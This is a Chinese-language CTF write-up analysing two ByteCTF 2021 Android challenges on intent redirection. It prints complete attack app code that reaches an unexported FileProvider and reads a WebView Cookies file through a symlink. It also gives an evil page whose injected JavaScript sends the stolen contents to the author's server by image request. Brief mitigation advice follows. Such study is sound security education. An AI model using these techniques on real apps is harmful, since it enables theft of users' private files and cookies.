由2021ByteCTF引出的intent重定向淺析
Intent淺要概述
Intent是Android程序中各組件之間進行交互的一種重要方式,它不僅可以指明當前組件想要執行的動作,還可以在不同組件之間傳遞數據。Intent一般可被用于啟動活動、啟動服務以及發送廣播等場景。
Intent是一種運行時綁定(runtime binding)機制,它能在程序運行的過程中連接兩個不同的組件。通過Intent,你的程序可以向Android表達某種請求或者意愿,Android會根據意愿的內容選擇適當的組件來響應。
Intent大致可以分為兩種,顯式Intent和隱式Intent。
顯式Intent:直接設置目標組件的ComponentName(目的組件),用于一個應用內部的消息傳遞,比如啟動另一個Activity或者一個services。通過Intent的setComponent()和setClass()來制定目標組件的ComponentName。
隱式Intent:沒有指定ComponentName,而是通過指定一系列的action和category等信息,交由系統去分析,并找出合適的組件來響應。
同時Intent可以攜帶以下信息:
(1)component(組件):目的組件
Component屬性明確指定Intent的目標組件的類名稱。如果 component這個屬性有指定的話,將直接使用它指定的組件(顯式Intent)。指定了這個屬性以后,Intent的其它所有屬性都是可選的。
(2)Action(動作):用來表現意圖的行動
Action 是一個用戶定義的字符串,用于描述一個 Android 應用程序組件,一個 Intent Filter 可以包含多個 Action。在 AndroidManifest.xml 的Activity 定義時,可以在其節點指定一個Action列表用于標識 Activity 所能接受的“動作”。
(3)category(類別):用來表現動作的類別
該屬性也是通過作為的子元素來聲明的。如果沒有指定category,將會使用默認的"android.intent.category.DEFAULT"。只有當和中的內容同時能夠匹配上Intent中指定的action和category時,這個活動才能響應Intent。
intent可以通過addCategory()方法指定多個category,只有同時滿足時,才能匹配成功。
(4)data(數據):表示與動作要操縱的數據
Data是用一個uri對象來表示的。標簽可配置以下屬性:
- 只有 標簽中指定的內容和Intent中攜帶的Data完全一致時,當前活動才能夠響應該Intent。
- android:scheme 。用于指定數據的協議部分,如上例中的http部分。
- android:host 。用于指定數據的主機名部分,如上例中的www.baidu.com部分。
- android:port 。用于指定數據的端口部分,一般緊隨在主機名之后。
- android:path 。用于指定主機名和端口之后的部分,如一段網址中跟在域名之后的內容。
- android:mimeType 。用于指定可以處理的數據類型,允許使用通配符的方式進行指定。
(5)type(數據類型):指定Data屬性的數據類型
如果Intent對象中既包含Uri又包含Type,那么,在中也必須二者都包含才能通過測試。
Type屬性用于明確指定Data屬性的數據類型或MIME類型,但是通常來說,當Intent不指定Data屬性時,Type屬性才會起作用,否則Android系統將會根據Data屬性值來分析數據的類型,所以無需指定Type屬性。
data和type屬性一般只需要一個,通過setData方法會把type屬性設置為null,相反設置setType方法會把data設置為null,如果想要兩個屬性同時設置,要使用Intent.setDataAndType()方法。
(6)extras(擴展信息):擴展信息
提供附加數據。使用putExtra()方法來設置額外的key-value數據
(7)Flags(標志位):期望意圖的運行模式
用來指示系統如何啟動一個Activity(比如:這個Activity屬于哪個Activity棧)和Activity啟動后如何處理它(比如:是否把這個Activity歸為最近的活動列表中)。
babydroid
環境 API30_x86
漏洞分析
服務源碼文件server.py
print_to_user(r""" ____ __ ____ __ /\ _`\ /\ \ /\ _`\ __ /\ \ \ \ \L\ \ __ \ \ \____ __ __\ \ \/\ \ _ __ ___ /\_\ \_\ \ \ \ _ <' /'__`\ \ \ '__`\/\ \/\ \\ \ \ \ \/\`'__\/ __`\/\ \ /'_` \ \ \ \L\ \/\ \L\.\_\ \ \L\ \ \ \_\ \\ \ \_\ \ \ \//\ \L\ \ \ \/\ \L\ \ \ \____/\ \__/.\_\\ \_,__/\/`____ \\ \____/\ \_\\ \____/\ \_\ \___,_\ \/___/ \/__/\/_/ \/___/ `/___/> \\/___/ \/_/ \/___/ \/_/\/__,_ / /\___/ \/__/ """) if not proof_of_work(): print_to_user("Please proof of work again, exit...") exit(-1) print_to_user("Please enter your apk url:")url = sys.stdin.readline().strip()EXP_FILE = download_file(url)if not check_apk(EXP_FILE): print_to_user("Invalid apk file.") exit(-1) print_to_user("Preparing android emulator. This may takes about 2 minutes...")emulator = setup_emulator()adb(["wait-for-device"]) adb_install(APK_FILE)adb_activity(f"{VULER}/.MainActivity", wait=True)with open(FLAG_FILE, "r") as f: adb_broadcast(f"com.bytectf.SET_FLAG", f"{VULER}/.FlagReceiver", extras={"flag": f.read()}) time.sleep(3)adb_install(EXP_FILE)adb_activity(f"{ATTACKER}/.MainActivity") print_to_user("Launching! Let your apk fly for a while...")time.sleep(EXPLOIT_TIME_SECS) try: os.killpg(os.getpgid(emulator.pid), signal.SIGTERM)except: traceback.print_exc()
h13~h15:進行了一個sha256的驗證,必須滿足sha256((prefix+proof).encode()).hexdigest().startswith(difficulty*"0") == True才能繼續。其中prefix為random_hex(6)隨機的字符;proof為用戶輸入的字符串。可以每次爆破得到正確的結果來輸入。
h17~h22:用戶輸入一個url地址。server會將該文件下載下來,同時檢查是否為apk。
h24~h26:新建一個安卓模擬器。
h28:將含有漏洞的APK安裝。
h29:啟動受害APK。
h30~h31:打開服務器中保存的flag文件。然后通過adb命令發送一個廣播,將flag傳輸給.FlagReceiver。其中命令如下:
shell su root am broadcast -W -a com.bytectf.SET_FLAG -n com.bytectf.babydroid/.FlagReceiver -e flag [flag]
h34~h35:安裝attack apk并運行。
apk分析
AndroidManifest.xml

可以看到注冊了兩個activity,一個receiver,還有一個FileProvider。其中兩個activity都是可導出(可被外部組件訪問)的。
MainActivity
MainActivity中沒有做操作,只是載入布局來顯示
Vulnerable(易受攻擊的)
protected void onCreate(Bundle savedInstanceState){ super.onCreate(savedInstanceState); this.startActivity(this.getIntent().getParcelableExtra("intent")); }
該Activity通過getIntent()首先獲得intent對象,之后使用getParcelableExtra("intent"),獲取反序列化后名為"intent"的extra數據,并使用startActivity()來啟動該intent。
FlagReceiver
public void onReceive(Context context,Intent intent){ String flag; String str = "flag"; if ((flag = intent.getStringExtra(str)) != null) { File file = new File(context.getFilesDir(), str); this.writeFile(file, flag); Log.e("FlagReceiver", "received flag."); } return;}
該廣播接收者從intent中取到一個key為"flag"的String類型數據,之后將其寫出到/data/data/[package_name]/files/flag文件中。對應了server.py中傳入flag的邏輯。我們想要獲取的flag也就是這個路徑。
FileProvider
FileProvider | Android Developers (google.cn)(https://developer.android.google.cn/reference/androidx/core/content/FileProvider?hl=en)
FileProvider是ContentProvider的一個特殊的子類,通過使用content://uri來代替file://uri,來促進安全的共享與app關聯的文件。
content URI允許臨時的授予該文件的讀寫權限。所以當創建一個包含文件content URI的時候,(如果需要)可以通過Intent.setFlags()添加相應的權限。同時權限會通過Intent傳遞給接收的activity(或者服務)。
在創建FileProvider時,需提供一個xml文件來指定該provider提供的文件。如res/xml/file_paths.xml,其中提供了相應的映射路徑以及別名。同時需要在AndroidManifest.xml中的FileProvider對應的節點內定義來聲明。(其中resource屬性內為提供的xml文件)
該APK的指定文件xml中定義如下:
<paths> <root-path name="root" path="" />paths>
節點:代表設備的根目錄。
另外的節點:

name屬性:給該目錄起的別名,用于隱藏路徑。
path屬性:臨時授權訪問的路徑(該目錄下的子目錄。
則該APK提供的FileProvider提供了根目錄,通過root/別名來訪問。
則如果我們想訪問flag的存儲路徑,實際構造的部分uri應該為root/data/data/[package_name]/files/flag。
利用思路
FlagURI
題目將flag存儲到了/data/data/[package_name]/files/flag文件。同時提供了一個FileProvider,則思路是通過FileProvider來將該文件讀取。
首先需要構造一個content URI。格式為:
content://[authorities]/[name]/[file_relative_path]
則構造的URI為:
content://androidx.core.content.FileProvider/root/data/data/com.bytectf.babydroid/files/flag
獲得權限
由于該FileProvider的exported屬性(必須)設置為false。導致我們無法在外部組件中直接使用該provider。
但是該apk提供了一個VulnerableActivity,并且(不做任何校驗的)將接收到的intent內中的key為"intent"的extra數據當作intent,并使用startActivity()來啟動。這樣就對啟動的activity進行了臨時的授權,可以訪問該應用中未導出的組件。
因此,我們可以設置一個intent來啟動Vulnerable,同時給該Intent附加一個key為intent的數據,該數據包含著構造好的惡意intent。
當Vulnerable被啟動時,就會找到intent的數據,我們在intent中附上我們的attack APK的Activity,同時附加上flag的contentURI。
之后轉到我們自己的Activity時,就可以任意讀寫目標應用內部文件。
Attack代碼實現
AttackAPP
private void getFlag() { // 判斷一下是否是被目標apk來start的該Activity if (getIntent().getAction().equals("evil")) { // 獲取接收到的uri Uri data = getIntent().getData(); try { // 定義一個字符輸入流 InputStreamReader isr = new InputStreamReader(getContentResolver().openInputStream(data)); char[] buf = new char[1024]; StringBuffer sb = new StringBuffer(""); while (-1 != isr.read(buf, 0, 1024)) { sb.append(String.valueOf(buf)); } // 讀取的內容輸入存儲到flag String flag = new String(sb); Log.d("PwnPwn", flag); ((TextView) findViewById(R.id.tv_show)).setText(new String(sb)); // 通過網絡、將信息傳輸回來獲取 sendData("getFlag",flag); } catch (IOException e) { e.printStackTrace(); } } else { // 定義一個action為"evil"的Intent Intent evil = new Intent("evil"); // 設定目的組件為當前MainActivity,也可以單獨放在另一個AttackActivity中 evil.setClassName(getPackageName(), MainActivity.class.getName()); // 設置操縱data數據為 flag所在文件的contentURI evil.setData(Uri.parse(pwnUri)); // 添加讀寫權限 evil.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION); // 新建一個intent,用于啟動目標APK Intent intent = new Intent(); // 啟動的目標Activity為Vulnerable intent.setClassName("com.bytectf.babydroid", "com.bytectf.babydroid.Vulnerable"); // 同時將構造好的evil Intent當作 key "intent"的數據包裝進去 intent.putExtra("intent", evil); // 啟動目標apk startActivity(intent); finish(); }}
獲取到flag后設置到TextView上,同時通過sendData()方法使用get或post請求將數據回顯到自己搭建的服務。該方法不表。
同時還需要聲明網絡權限:
<uses-permission android:name="android.permission.INTERNET" />
在API28+的應用默認禁止使用明文網絡流量(flase),因此還需要在節點中設置屬性。
android:usesCleartextTraffic="true"
需要注意一點的是attackAPP是由server.py來啟動的,內定義了PackageName應為"com.bytectf.pwnbabydroid"。
本地實現
首先輸入命令,來生成一個flag
adb shell su root am broadcast -W -a com.bytectf.SET_FLAG -n com.bytectf.babydroid/.FlagReceiver -e flag ByteCTF{testFlagxxxxx}
然后安裝惡意apk,運行。
效果圖如下,可見是由Vulnerable來啟動的MainActivity。

easydroid
環境 API27_x86
漏洞分析
服務源碼文件server.py
該server文件與上題的server文件大體相同。
修改了環境為API27。
修改了attackAPP和targetAPP的包名。
apk分析
AndroidManifest
<application android:allowBackup="true" android:appComponentFactory="androidx.core.app.CoreComponentFactory" android:debuggable="true" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/Theme.Easydroid" android:usesCleartextTraffic="true"> <activity android:exported="true" android:name="com.bytectf.easydroid.MainActivity"> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> intent-filter> activity> <activity android:exported="false" android:name="com.bytectf.easydroid.TestActivity"/> <receiver android:exported="false" android:name="com.bytectf.easydroid.FlagReceiver"> <intent-filter> <action android:name="com.bytectf.SET_FLAG"/> intent-filter> receiver>application>
兩個activity,一個receiver,其中只有MainActivity是可導出的。
FlagReceiver
public class FlagReceiver extends BroadcastReceiver { @Override // android.content.BroadcastReceiver public void onReceive(Context context, Intent intent) { String flag = intent.getStringExtra("flag"); if(flag != null) { try { String v0_1 = Base64.encodeToString(flag.getBytes("UTF-8"), 0); CookieManager.getInstance().setCookie("https://tiktok.com/", "flag=" + v0_1); Log.e("FlagReceiver", "received flag."); } catch(UnsupportedEncodingException e) { e.printStackTrace(); } return; } }}
該文件接收intent中key為"flag"的數據value,然后將其通過setCookie設置到cookie文件。
而cookie文件位于/data/data/com.bytectf.easydroid/app_webview/Cookies(API 27)文件中。
我們如果想要獲取flag,只需要獲取該Cookie文件就可以了
MainActivity
@Override // androidx.fragment.app.FragmentActivityprotected void onCreate(Bundle arg5) { super.onCreate(arg5); Uri data = this.getIntent().getData(); if(data == null) { data = Uri.parse("http://app.toutiao.com/"); } if((data.getAuthority().contains("toutiao.com")) && (data.getScheme().equals("http"))) { WebView webView = new WebView(this.getApplicationContext()); webView.setWebViewClient(new WebViewClient() { @Override // android.webkit.WebViewClient public boolean shouldOverrideUrlLoading(WebView arg5, String arg6) { if(Uri.parse(arg6).getScheme().equals("intent")) { try { MainActivity.this.startActivity(Intent.parseUri(arg6, 1)); } catch(URISyntaxException e) { e.printStackTrace(); } return 1; } return super.shouldOverrideUrlLoading(arg5, arg6); } }); this.setContentView(webView); webView.getSettings().setJavaScriptEnabled(true); webView.loadUrl(data.toString()); }}
這個Activity比較重要。
獲取了intent,并且讀取了intent攜帶的data數據。如果data數據為空,則 設置data為一個普通的Uri,并不執行其他操作。
如果getAuthority()得到的字符串中包括"toutiao.com"、scheme為"http"。則會使用webView來加載該鏈接。
而shouldOverrideUrlLoading()方法會在WebView中每次發起跳轉的時候被回調。回調的時候該方法判斷scheme是否等于"intent",如果等于"intent",則使用startActivity()方法啟動該intent相應的組件,該方法第二個參數flags代表著Uri被解析格式規范。
TestActivity
該activity設置成未導出狀態,我們沒辦法直接訪問。但是該activity沒有對intent進行任何校驗,就直接使用WebView來加載intent攜帶的key為"url"的數據了。
我想我們的目標就是它了。
protected void onCreate(Bundle arg5) { super.onCreate(arg5); String url = this.getIntent().getStringExtra("url"); WebView webView = new WebView(this.getApplicationContext()); this.setContentView(webView); webView.getSettings().setJavaScriptEnabled(true); webView.loadUrl(url);}
利用思路
我們的最終目標是通過TestActivity加載Cookie文件,并通過某種方式得到回顯。
Intent重定向
因為MainActivity是可導出的,我們可以給MainActivity傳遞一個intent,同時繞過authority和scheme的驗證,使其可以訪問到構造好的evil網址。
則需要構造一個Uri,我選擇構造的為"http://app.toutiao.com@[evil_page]",這樣便可以訪問到evil_page。
同時evil_page內通過使用location.href添加一個Intent的Uri。當訪問時,shouldOverrideUrlLoading()方法就會被回調。并且解析該Uri作為intent并使用startActivity()來啟動。
我們只需讓該intent攜帶一個"url"的數據,并且明確指向TestActivity。這樣當TestActivity接收到后,就會將url來加載。
WebView竊取Cookies文件
我們的目標是獲得Cookie文件,如果將Cookies文件的路徑放到"url"的數據中,便可以將Cookies當作html解釋,但只是將Cookies文件使用WebView加載還是不夠,因為我們需要將Cookies文件中的內容傳輸回來。
于是就可以在evil_page中使用document.cookie=設置一個cookie,然后里面填寫惡意的JavaScript代碼將數據發送到接收方。當將Cookie當做html解釋時,惡意JavaScript代碼就會執行。
還有一個點是Cookies文件沒有后綴名,我們還需要創建一個.html的符號鏈接來指向Cookies文件,這樣才能實現WebView加載Cookies文件。
Attack代碼實現
AttackAPP
public class MainActivity extends AppCompatActivity { // 定義evil_page的地址 String base = "10.7.89.108/MyTest/evil.html"; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); // 構造一個惡意Intent,讓shouldOverrideUrlLoading回調時候使用startActivity傳遞該Intent buildEvilIntent(); // 啟動搭建好的evil 網頁,讓目標app訪問。 launch(base); } private void buildEvilIntent() { Intent evil = new Intent(); // 設置目的組件為TestActivity evil.setClassName("com.bytectf.easydroid","com.bytectf.easydroid.TestActivity"); // 將需要WebView加載的Cookies符號地址鏈接傳遞過去 evil.putExtra("url","file:"+symlink()); // flags是轉換的格式,同MainActivity為1 Log.d("PwnThree-evilUri",evil.toUri(1)); // 復制該Uri,然后在evil_page中添加 跳轉到該Uri的代碼 } private void launch(String url){ // 構造一個intent Intent intent = new Intent(); // 設置目的組件為MainActivity intent.setClassName("com.bytectf.easydroid","com.bytectf.easydroid.MainActivity"); // 構造惡意Uri,使用@突破校驗 intent.setData(Uri.parse("http://www.toutiao.com@" + url)); // 設置activity啟動模式 intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK|Intent.FLAG_ACTIVITY_CLEAR_TASK); // 啟動目標app的activity startActivity(intent); } private String symlink(){ // 獲得應用數據目錄 String root = getApplicationInfo().dataDir; Log.d("PwnThree","root path:"+root); // 構造一個符號鏈接 String symlink = root + "/symlink.html"; Log.d("PwnThree","symlink path:"+symlink); String cookies = null; Runtime runtime = Runtime.getRuntime(); try { // Cookies所在路徑 cookies = getPackageManager().getApplicationInfo("com.bytectf.easydroid",0).dataDir +"/app_webview/Cookies"; Log.d("PwnThree","Cookies path:"+cookies); // 刪除該path對應的文件,防止創建符號鏈接時沖突。 runtime.exec("rm "+symlink).waitFor(); // 創建該符號鏈接,使后綴名為.html。方便WebView打開 runtime.exec("ln -s "+cookies+" " + symlink).waitFor(); // 賦予應用目錄最高777權限,使外部應用也可以訪問該目錄 runtime.exec("chmod -R 777 "+root).waitFor(); } catch (InterruptedException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } catch (PackageManager.NameNotFoundException e) { e.printStackTrace(); } // 返回創建的符號鏈接的全路徑 return symlink; }}
evil_page
<html lang="en"><head> <meta charset="UTF-8"> <title>eviltitle>head><body><h1>injected cookie with xssh1><script> document.cookie = "sendData = ''" var baseUrl = "http://10.7.89.108/MyTest/ReceiveServlet?" new Image().src = baseUrl + "cookie=" + encodeURIComponent("open evil page."); setTimeout(function() { location.href = 'intent:#Intent;component=com.bytectf.easydroid/.TestActivity;S.url=file%3A%2Fdata%2Fuser%2F0%2Fcom.bytectf.pwneasydroid%2Fsymlink.html;end'; }, 40000);script>body>html>
h10:添加了一個cookie,名字為"sendData",相應的值是一個標簽,src屬性是一個不存在的路徑,因此標簽在裝載文檔或圖像的過程中會發生錯誤,就會執行onerror事件。使用eval()來執行js代碼文本,atob()將文本進行base64解密得到真實的代碼。
其中base64的代碼源為:
var baseUrl = "http://10.7.89.108/MyTest/ReceiveServlet?"new Image().src = baseUrl + "cookie=" + encodeURIComponent(document.getElementsByTagName("html")[0].innerHTML);
也就是將該頁面全部內容作為參數發送到接收方。
h11~h12:只是簡單的通知一下接收方用戶打開了該頁面(可以去掉)。
h13~h15:使用setTimeout延時40s再跳轉。因為含有惡意js代碼的cookie的寫入需要一定時間。
等待好后會跳轉前往 構造好的intent的Uri。之后便會被shouldOverrideUrlLoading()回調函數捕獲,并通過startActivity()來啟動TestActivity。
本地實現
輸入命令讓FlagReceiver接收到flag并將其存放在cookie中。
adb shell su root am broadcast -W -a com.bytectf.SET_FLAG -n com.bytectf.easydroid/.FlagReceiver -e flag ByteCTF{testFlag_x_easydroid}
此時可以看到:

預設置的flag已經存儲在/data/user/0/com.bytectf.easydroid/app_webview/Cookies中。
實現效果圖(中間刪除了部分重復幀):

可見已經成功獲取到了cookie文件。
最后
通過上述兩題的例子,可見我們雖然沒有相應權限,但都通過導出組件對Intent重定向不完善的校驗產生的漏洞,間接訪問到了未導出的組件。
如何防范:
(1)應嚴格控制組件的可導出權限,沒必要導出的組件添加android:exported="false"屬性。
(2)在進行Intent重定向時,應對Intent進行嚴格的校驗。
(3)添加代碼混淆,提高攻擊成本。
個人的一些淺見,文中如有錯誤,敬請斧正。